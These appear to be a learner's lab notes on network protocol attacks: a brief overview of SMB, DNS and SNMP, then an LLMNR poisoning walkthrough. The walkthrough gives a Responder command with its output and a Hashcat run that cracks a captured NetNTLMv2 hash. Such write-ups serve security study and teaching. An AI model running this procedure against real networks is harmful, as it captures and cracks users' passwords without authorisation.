

Network_Protocol_Attacks

SMB (Server Message Block):

SMB is a network file-sharing protocol used mainly in Windows systems.
It allows:

- File sharing
- Printer sharing
- Remote administration

Runs on Port 445

Common SMB Attacks:

1. SMB Relay Attack: Attacker captures authentication attempt and forwards it to another system to gain access.
2. Pass-the-Hash: Attacker uses NTLM hash instead of password.
3. Exploiting SMBv1: Remote code execution via buffer overflow.

DNS (Domain Name System):

DNS translates domain names into IP addresses.

Example: google.com → 142.250.x.x

Runs on Port 53

SNMP (Simple Network Management Protocol):

SNMP is used to monitor and manage network devices like:

- Routers
- Switches
- Printers
- Firewalls

Runs on Port 161

1) **LLMNR Poisoning:** LLMNR (Link-Local Multicast Name Resolution) is a Windows/IPv4/IPv6 protocol that lets hosts resolve names on the local link when DNS isn't available. It's intended to help small networks resolve hostname IP without a DNS server. Windows also supports NetBIOS Name Service (NBT-NS) for similar link-local name resolution. Because LLMNR/NBT-NS are broadcast/multicast, insecure, and unauthenticated, they are often abused by attackers on the same network segment.

Credential capture: attackers can obtain NTLMv1/v2 hashes which may be cracked offline, revealing plaintext passwords.

NTLM relay: captured authentication can be relayed to other services to gain access (lateral movement, privilege escalation).

Easy to exploit in switched networks if attacker is on the same VLAN (lab, open Wi-Fi, compromised workstation).

- For this attack I was setting a fake server by using responder tool to capture the NTLM hashes of the user and then y using 'Hashcat' tool I can crack the hash so that I get the password of the hash.

```
(kali@kali)-[~]  
$ sudo responder -I eth0 -w -F -v
```

```
Session  Actions  Edit  View  Help  
[+] HTTP Options:  
  Always serving EXE      [OFF]  
  Serving EXE             [OFF]  
  Serving HTML            [OFF]  
  Upstream Proxy          [OFF]  
  
[+] Poisoning Options:  
  Analyze Mode            [OFF]  
  Force WPAD auth         [ON]  
  Force Basic Auth        [OFF]  
  Force LM downgrade      [OFF]  
  Force ESS downgrade     [OFF]  
  
[+] Generic Options:  
  Responder NIC           [eth0]  
  Responder IP            [192.168.222.134]  
  Responder IPv6          [fe80::28f8:37ac:d738:b115]  
  Challenge set           [random]  
  Don't Respond To Names  ['ISATAP', 'ISATAP.LOCAL']  
  Don't Respond To MDNS TLD ['_DOSVC']  
  TTL for poisoned response [default]  
  
[+] Current Session Variables:  
  Responder Machine Name  [WIN-OZQVZ7B4MMX]  
  Responder Domain Name   [AZSB.LOCAL]  
  Responder DCE-RPC Port  [47874]  
  
[*] Version: Responder 3.1.7.0  
[*] Author: Laurent Gaffie, <lgaffie@secorizon.com>  
[*] To sponsor Responder: https://paypal.me/PythonResponder  
[+] Listening for events ...
```

- Here I use Responder tool to setup a fake server and -I refers to interface here I was giving eth0.


```

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 5600 (NetNTLMv2)
Hash.Target....: MOHAN:MBCS:04d4951dc5d6591f:79bec9a56d35e7893b9ef4...000000
Time.Started...: Tue Oct 21 23:40:14 2025 (1 sec)
Time.Estimated.: Tue Oct 21 23:40:15 2025 (0 secs)
Kernel.Feature.: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue....: 1/1 (100.00%)
Speed.#1.....: 2321.1 kH/s (0.45ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 1044480/143344393 (7.28%)
Rejected.....: 0/1044480 (0.00%)
Restore.Point..: 1041408/143344393 (7.26%)
Restore.Sub.#1.: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1...: Sandy5 -> POSITIVE
Hardware.Mon.#1.: Util: 34%

Started: Tue Oct 21 23:39:52 2025
Stopped: Tue Oct 21 23:40:17 2025

```

Here we can see that password of a user was cracked